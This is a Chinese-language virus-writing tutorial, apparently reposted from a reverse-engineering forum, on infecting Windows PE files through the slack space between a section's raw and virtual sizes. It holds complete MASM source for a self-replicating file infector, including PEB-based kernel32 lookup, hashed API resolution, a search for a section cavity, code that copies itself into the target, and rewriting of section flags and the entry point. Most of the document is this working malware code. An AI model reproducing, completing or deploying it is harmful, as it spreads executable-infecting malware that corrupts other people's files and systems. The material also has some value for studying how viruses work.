原文:http://www.pediy.com/kssd/index.html -- 病毒技术 -- 病毒知识 -- Anti Virus专题
那么搜寻节空隙感染,最重要的就是找到我们节中存在的空隙。一般在病毒技术中,有两种方法。
- 循环读取节表,然后分别在每个节中搜寻00机器码(因为默认编译器是用00机器码填充的),如果此00机器码区域的大小大于病毒的体积。则取这段区域的偏移。
- 循环读取节表,通过节表结构中的物理文件大小 - 节映射大小 取得 节后面的物理空隙,然后判断此段空隙大小是否大于我们病毒体积,如果大于的话,则取这段区域的偏移。
我们今天的代码使用的是第二种方法,因为第一种方法的弊端太多,例如如果被感染文件的空隙不是00机器码填充的等。为了稳定性还是选择第二种方法,虽然它的限制会比较多。实际上CIH利用的也是我们今天的第二种方法。
代码:
; 链接选项加入/SECTION:.text|RWE
.386
.model flat, stdcall
option casemap:none
include windows.inc
.code
VirusEntry:
pushad
call Dels
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
Table:
dd 038C62A7Ah
_CreateFile dd 0
dd 09554EFE7h
_GetFileSize dd 0
dd 00BE25545h
_ReadFile dd 0
dd 0A9D1FD70h
_SetFilePointer dd 0
dd 0C0D6D616h
_CloseHandle dd 0
dd 0C2F6D009h
_GlobalAlloc dd 0
dd 0585ED3CFh
_GlobalFree dd 0
dd 058D8C545h
_WriteFile dd 0
dd 0A412FD89h
_LoadLibrary dd 0
dd 014D14C51h
_MessageBox dd 0
dd 0
szCaption db 'Virus Dream - Demo', 0
szText db 'Oh Yeah of Virus Dream', 0
szFileName db 'test.exe', 0
nWriteByteNum dd 0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
Dels:
pop ebp
call GetKernel32
mov edi, ebp ; edi = pHashStringList = Table
call GetFuncAddress
push '23'
push 'resu'
push esp ; lpFileName = user32
call dword ptr [ebp + (_LoadLibrary - Table)]
pop edx
pop edx ; 弹出'user32'
mov edi, ebp
call GetFuncAddress
cmp ebp, Dels - (Dels - Table)
je Inject ; 如果等于说明不再宿主程序中
push 0
lea edx, [ebp + (szCaption - Table)]
push edx
lea edx, [ebp + (szText - Table)]
push edx
push 0
call dword ptr [ebp + (_MessageBox - Table)]
lea eax, [ebp + (szFileName - Table)]
push eax
call InjectFile
popad
jmp JmpHost
Inject:
lea eax, [ebp + (szFileName - Table)]
push eax
call InjectFile
popad
ret
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 感染文件
; Arguments:
; [esp + 4 * 8 + 4] - lpFileName
; Return Value:
; Nothing
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
InjectFile:
pushad
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 注册一个SEH, 一般流程如下:
; push Handle
; push fs:[0]
; mov fs:[0], esp
; _ _ _ _ _ _ _ _
; | Prev | <-- esp - 8 ; push edx
; | SEH Handle | <-- esp - 4 ; call _@@
; | pushad | <-- esp
; | 返回地址 |
; | 参数 |
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
lea edx, [esp - 8]
call _@@ ; 入栈下一条指令地址, 相当于push Handle
mov esp, [esp + 2 * 4] ; esp指向异常回调函数的第二个参数
jmp _Result
_@@:
sub eax, eax
assume fs:nothing
xchg edx, fs:[eax] ; 相当于mov fs:[0], esp
push edx ; 相当于push fs:[0]
mov edx, [esp + 4 * 8 + 4 + 4 * 2] ; edx = lpFileName
push eax
push eax
push OPEN_EXISTING
push eax
push FILE_SHARE_WRITE
push GENERIC_READ or GENERIC_WRITE
push edx
call dword ptr [ebp + (_CreateFile - Table)]
cmp eax, INVALID_HANDLE_VALUE
je _Result
xchg eax, ebx ; ebx = FileHandle
push 0
push ebx
call dword ptr [ebp + (_GetFileSize - Table)]
push eax ; [esp] = File Size
push eax
push GMEM_ZEROINIT
call dword ptr [ebp + (_GlobalAlloc - Table)]
xchg eax, edi ; edi = lpMemory
push 0 ; 空出一个空间供下面输出参数使用
push esp
push dword ptr [esp + 4 * 2] ; File Size
push edi ; 将文件数据读取到edi
push ebx
call dword ptr [ebp + (_ReadFile - Table)]
pop [ebp + (nWriteByteNum - Table)]
push edi
call IsPe
jnc _Free
push edi
call GetSectionTable
xchg eax, esi ; esi = Section Table offset
push edi
call GetSectionNum ; ecx = Section Num
jecxz _Free ; 如果ecx等于0跳
_LoopScas:
mov edx, [esi + 10h] ; esi + 10h = SizeOfRawData
sub edx, [esi + 08h] ; esi + 08h = VirtualSize
cmp edx, VirusLen
jg _MoveVirus ; 如果空隙大于病毒长度跳
add esi, 28h ; esi指向下一个节表
loop _LoopScas
jmp _Free
_MoveVirus:
push edi ; edi = lpMemory
call GetEntryPointVa
mov [ebp + (JmpHost - Table) + 1], eax ; 将JmpHost处jmp的操作数修改为OEP
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 设置新入口点RVA
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
mov edx, [esi + 08h] ; edx = VirtualSize
add edx, [esi + 0ch] ; edx = 节结尾RVA, 也即Virus开始RVA
mov eax, edi ; edi = lpMemory
add eax, [edi + 3ch] ; eax = PE Header
mov [eax + 28h], edx ; 修改入口点
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 设置节标志
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
or dword ptr [esi + 24h], 0E0000020h
mov edx, [esi + 08h]
add edx, [esi + 14h] ; edx = 节结尾文件偏移,也即virus开始文件偏移
add edx, edi ; edx指向lpMemory中节结尾
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 移动病毒数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
pushad
lea esi, [ebp - 6] ; esi = VirusEntry
mov ecx, VirusLen
mov edi, edx
cld
rep movsb ; 移动病毒数据
popad
push FILE_BEGIN
push 0
push 0
push ebx
call dword ptr [ebp + (_SetFilePointer - Table)] ; 将文件指针定位到开始处
push 0
push esp
push [ebp + (nWriteByteNum - Table)]
push edi
push ebx
call dword ptr [ebp + (_WriteFile - Table)] ; 将数据写回文件
_Free:
push ebx
call dword ptr [ebp + (_CloseHandle - Table)]
push edi
call dword ptr [ebp + (_GlobalFree - Table)]
_Result:
sub eax, eax
pop dword ptr fs:[eax]
pop edx
popad
ret 4 * 1
JmpHost:
push $
ret
include VirusLib.asm
VirusLen = $ - VirusEntry
end VirusEntry
上面代码中include了VirusLib.asm文件,里面包含了一些病毒中常用函数:
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 测试是否是PE文件
; Arguments:
; [esp] - return address
; [esp + 4] - lpMemory
; Return Value:
; CF - 1
; CF - 0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
IsPe:
mov edx, [esp + 4]
cmp word ptr [edx], 'ZM'
jnz _IP_RetFails
add edx, [edx + 3ch]
cmp word ptr [edx], 'EP'
jnz _IP_RetFails
_IP_RetTure:
stc ; CF = 1
ret 4 * 1
_IP_RetFails:
clc ; CF = 0
ret 4 * 1
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 获取节表
; Arguments:
; [esp] - return address
; [esp + 4] - pMemory
; Return Value:
; eax - Physical offset
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
GetSectionTable:
mov eax, [esp + 4]
add eax, dword ptr [eax + 3ch] ; eax -> PE Header
movzx edx, word ptr [eax + 14h] ; edx = IMAGE_OPTIONAL_HEADER长度
lea eax, [eax + edx + 4 * 6] ; 4 * 6为IMAGE_FILE_HEADER和Signature长度
ret 4 * 1
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 获取OEP VA Address
; Arguments:
; [esp] - return address
; [esp + 4] - pMemory
; Return Value:
; eax - OEP VA Address
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
GetEntryPointVa:
mov eax, [esp + 4]
add eax, dword ptr [eax + 3ch] ; eax -> PE Header
mov edx, dword ptr [eax + 28h] ; edx = IMAGE_OPTIONAL_HEADER.AddressOfEntryPoint
add edx, dword ptr [eax + 34h] ; edx += IMAGE_OPTIONAL_HEADER.ImageBase
xchg eax, edx
ret 4 * 1
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 获取节表数量
; Arguments:
; [esp] - return address
; [esp - 4] - pMemory
; Return Value:
; ecx - Section Number
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
GetSectionNum:
mov eax, [esp + 4]
add eax, [eax + 3ch] ; eax -> PE Header
movzx ecx, word ptr [eax + 06h] ; ecx = IMAGE_FILE_HEADER.NumberOfSection
ret 4 * 1
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 获取kernel32基地址
; Arguments:
; [esp] - return address
; Return Value:
; eax - kernel32 base address
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
GetKernel32:
push dword ptr 006ch
push dword ptr 006c0064h
push dword ptr 002e0032h
push dword ptr 0033006ch
push dword ptr 0065006eh
push dword ptr 00720065h
push word ptr 006bh
mov ebx, esp
assume fs:nothing
mov eax, fs:[30h]
mov eax, [eax + 0ch]
mov eax, [eax + 1ch]
_Search:
or eax, eax
jz _NotFound
inc eax
jz _NotFound
dec eax
mov ecx, dword ptr 13 ; ecx = 比较长度
lea esi, [eax + 1ch]
mov esi, [esi + 4] ; esi = UNICODE_STR.Buffer
mov edi, ebx
repz cmpsw
or ecx, ecx
jz _Found
mov eax, [eax]
jmp _Search
_NotFound:
or eax, 0ffffffffh
jmp _Over
_Found:
mov eax, [eax + 08h]
_Over:
add esp, 26
ret
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 获取Hash API地址
; Arguments:
; [esp] - return address
; eax - hModule
; edi - pHashStringList
; Return Value:
; Nothing
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
GetFuncAddress:
pushad
xchg eax, ebx ; ebx = hModule
mov eax, [ebx + 3ch]
mov esi, [eax + ebx + 78h] ; Get Export
lea esi, [esi + ebx + 18h] ; esi -> NumberOfNames
cld
lodsd
xchg eax, ecx ; ecx = NumberOfNames
lodsd
push eax ; [esp] = AddressOfFunctions
lodsd
add eax, ebx
xchg eax, edx ; edx = AddressOfNames
lodsd
add eax, ebx
xchg eax, ebp ; ebp = AddressOfNameOrdinals
xchg esi, edx ; esi = AddressOfNames
_NextFunc:
push edi
lodsd
add eax, ebx ; eax = API 函数名字符串
xor edx, edx
_CalcHash:
rol edx, 3
xor dl, byte ptr [eax]
inc eax
cmp byte ptr [eax], 0
jnz _CalcHash
_ScanDwFunc:
cmp [edi], edx
jnz _SkipFunction
movzx eax, word ptr [ebp] ; 取出对应索引
shl eax, 2
add eax, [esp + 4] ; 索引乘以4后加到AddressOfFunctions
mov eax, [eax + ebx] ; 取出API RVA
add eax, ebx ; eax = API address
scasd ; 跳过hash
stosd ; 保存
jmp _Ret
_SkipFunction:
scasd
scasd ; 跳过hash和保存API地址的地方指向下一个hash
cmp dword ptr [edi], 0
jnz _ScanDwFunc
_Ret:
pop edi
add ebp, 2 ; ebp指向下一个索引,和AddressOfNames对应
loop _NextFunc
pop ecx
popad
ret